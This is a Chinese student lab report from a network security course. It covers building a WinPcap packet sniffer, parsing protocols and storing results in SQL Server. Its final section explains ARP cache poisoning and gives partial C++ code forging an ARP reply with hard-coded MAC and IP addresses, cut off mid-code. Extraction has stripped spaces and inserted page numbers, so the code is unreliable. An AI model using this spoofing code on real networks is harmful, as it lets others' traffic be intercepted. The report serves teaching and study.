信息安全专业程序实践四网络安全与网络管理实践报告软件学院实验成绩表东北大学软件学院2011年版程序实践网络管理与网络安全实践实践成绩指导教师签字时间程序实践1.实践内容掌握Sniffer程序的原理通过Winpcap抓取数据包,并加以分析。对数据包的抓取进行过滤,得到目标数据包。对抓取的数据包进行分析,分析得出MAC地址,IP地址,端口、协议等等信息。将获得的数据包分析结论存储到SQLServer2008数据库中。实现一个类似于Ethereal的源程序。根据ARP报文格式,通过更改IP和MAC的对应实现ARP欺骗。2.实践过程一、捕获数据包通过Winpcap捕获数据包,并实现数据包的过滤,得到目标协议的数据包,流程如图1:获取设备信息打开设备、编译过滤规则设置过滤规则通过建立线程实现数据包捕获图1捕获数据包的过程在本程序中,我们通过新建一个线程来实现对数据包的捕获,首先在程序的初始化阶段进行WinPcap环境的初始化,查找本机的设备列表以及打开我们希望使用的网卡设备。具体代码如下:voidCSnifferDlg::InitPcap(){pcap_if_t*d;2inti=0;charerrbuf[PCAP_ERRBUF_SIZE];//获取本地机器设备列表if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&alldevs,errbuf)==-1)//authisnotneeded{CStringerrInfo=Errorinpcap_findalldevs_ex:;errInfo+=errbuf;MessageBox(errInfo);exit(1);}//打印列表for(d=alldevs;d!=NULL;d=d-next){printf(%d.%s,++i,d-name);if(d-description){printf(\n\t);printf((%s)\n,d-description);}elseprintf((Nodescriptionavailable)\n);}if(i==0){MessageBox(\nNointerfacesfound!MakesureWinPcapisinstalled.\n);}//打开网卡3d=alldevs-next;d=d-next;if((devs=pcap_open_live(d-name,65536,0,5000,errbuf))==NULL){CStringerrInfo=Errorinpcap_open_live:;errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs);exit(1);}if(pcap_datalink(devs)!=DLT_EN10MB){CStringerrInfo=ThisprogramworksonlyonEthernetnetworks\n;MessageBox(errInfo);/*释放设备列表*/pcap_freealldevs(alldevs);exit(1);}//设置规则structbpf_programfcode;bpf_u_int32netmask;netmask=0xffffff;if(pcap_compile(devs,&fcode,,0,netmask)==-1){CStringerrInfo=Errorinpcap_complie:;errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs);exit(1);}4if(pcap_setfilter(devs,&fcode)==-1){CStringerrInfo=Errorinpcap_setfilter:;errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs);exit(1);}//不再需要设备列表了,释放它//pcap_freealldevs(alldevs);//}上述是我们初始化网卡设备的程序代码,而当我们打开设备之后,通过创建线程进行数据包捕获,并且调用每一层的协议分析的代码进行协议分析,同时记录程序所捕获到的不同协议的数据包的个数,我们这里利用到的线程函数如下所示:UINTThreadFunc(LPVOIDpParam){structtm*ltime;chartimestr[16];time_tlocal_tv_sec;intres;structpcap_pkthdr*header;constu_char*pkt_data;CListCtrl*m_TD=(CListCtrl*)pParam;while((res=pcap_next_ex(devs,&header,&pkt_data))=0){if(res==0)continue;//将时间戳转换成可识别的格式local_tv_sec=header-ts.tv_sec;ltime=localtime(&local_tv_sec);strftime(timestr,sizeoftimestr,%H:%M:%S,ltime);5CStringtime;time+=timestr;CStringtempNum;tempNum.Format(%d,pkNum);m_TD-InsertItem(pkNum,tempNum);m_TD-SetItemText(pkNum,1,time);//以太网分析ethernet_packet_handler(pParam,header,pkt_data);pkNum++;totalNum++;if(isOpen==FALSE){break;}}if(res==-1){CStringerr=Errorreadingthepackets:;err+=pcap_geterr(devs);AfxMessageBox(err);}return0;}二、数据包的分析利用定义好的报文头部结构体,通过内存地址,获取每一层协议的对应的报文信息,对于数据包的分析过程可用图2所示流程图进行表示:6分析以太网数据包判断类型字段IP数据包分析RARP协议分析ARP协议分析判断类型字段UDP协议分析TCP协议分析ICMP协议分析根据端口分析应用层协议图2数据包分析流程通过对每一层协议的分析,得出在不同的协议下的数据报信息,下面是我们列举的捕获分析以太网数据包的代码片段:/*每次捕获到数据包时,都会自动调用这个回调函数*/voidethernet_packet_handler(LPVOIDpParam,conststructpcap_pkthdr*header,constu_char*pkt_data){dlc_Header*dlcHeader;dlcHeader=(dlc_Header*)pkt_data;CListCtrl*m_TD=(CListCtrl*)pParam;//输出源mac地址目的mac地址CStringSrcMac,DesMac,tempMac;;for(inti=0;i5;i++){tempMac.Format(%02x,dlcHeader-srcmac[i]);SrcMac+=tempMac;tempMac.Format(%02x,dlcHeader-desmac[i]);DesMac+=tempMac;7SrcMac+=:;DesMac+=:;}tempMac.Format(%02x,dlcHeader-srcmac[5]);tempMac.Format(%02x,dlcHeader-desmac[5]);SrcMac+=tempMac;DesMac+=tempMac;m_TD-SetItemText(pkNum,4,SrcMac);m_TD-SetItemText(pkNum,5,DesMac);switch(ntohs(dlcHeader-ethertype)){case0x0800://0x806arpprotocol0x8035rarpip_packet_handler(pParam,header,pkt_data);break;case0x806://ARPProtocolarpNum++;m_TD-SetItemText(pkNum,8,ARP);arp_packet_handler(pParam,header,pkt_data);break;default:m_TD-SetItemText(pkNum,8,Other);m_TD-SetItemText(pkNum,2,Other);m_TD-SetItemText(pkNum,3,Other);m_TD-SetItemText(pkNum,6,Other);m_TD-SetItemText(pkNum,7,Other);}}三、存储数据到SQLServer2008数据库我们首先通过语句载入C盘文件#importC:\ProgramFiles\CommonFiles\System\ado\msado15.dllno_namespacerename(EOF,adoEOF)然后利用::CoInitialize(NULL);语句来初始化OLE/COM库环境连接字符串如下:hr=m_pConnection.CreateInstance(ADODB.Connection);///创建Connection对象8_bstr_tstrConnect=driver={sqlserver};server=(local);uid=;pwd=;database=test;来连接到数据库。我们通过Execute、以及_RecordsetPtr来实现对数据库的增删改查。在程序退出之后,我们还需要关闭记录集和链接。利用::CoUninitialize();语句来关闭ole/com库,释放资源四、实现ARP欺骗ARP欺骗的原理:一个位于主机B的入侵者想非法进入主机A,入侵者必须让主机A相信主机B就是主机C,如果主机A和主机C之间的信任关系是建立在硬件地址的基础上。这个时候需要用ARP欺骗的手段让主机A把自己的ARP缓存中的关于192.168.0.3映射的硬件地址改为主机B的硬件地址。可以制造假的ARP请求报文或者是应答报文,指定ARP包中的源IP、目标IP、源MAC地址、目标MAC地址。这样就可以通过虚假的ARP请求报或响应包来修改主机A上的动态ARP缓存达到欺骗的目的。我们首先通过填充arp报文,然后通过pcap_sendpacket方法实现虚假的ARP数据包的发送。具体代码如下:arp_headerah;ah.desmac[0]=0x10;ah.desmac[1]=0x78;ah.desmac[2]=0xd2;ah.desmac[3]=0xf7;ah.desmac[4]=0x60;ah.desmac[5]=0xfa;ah.srcmac[0]=0x10;ah.srcmac[1]=0x78;ah.srcmac[2]=0xd2;ah.srcmac[3]=0xf5;ah.srcmac[4]=0xc9;ah.srcmac[5]=0xf8;ah.ethertype=0x0608;ah.HW_Type=0x0100;ah.Prot_Type=0x0008;ah.HW_Addr_Len=0x06;ah.Prot_Addr_Len=0x04;ah.Flag=0x0200;ah.Send_HW_Addr[0]=0x10;ah.Send_HW_Addr[1]=0x78;ah.Send_HW_Addr[2]=0xd2;ah.Send_HW_Addr[3]=0xf5;ah.Send_HW_Addr[4]=0xc9;ah.Send_HW_Addr[5]=0xf8;ah.saddr[0]=0x0a;ah.saddr[1]=0x01;ah.saddr[2]=0x01;ah.saddr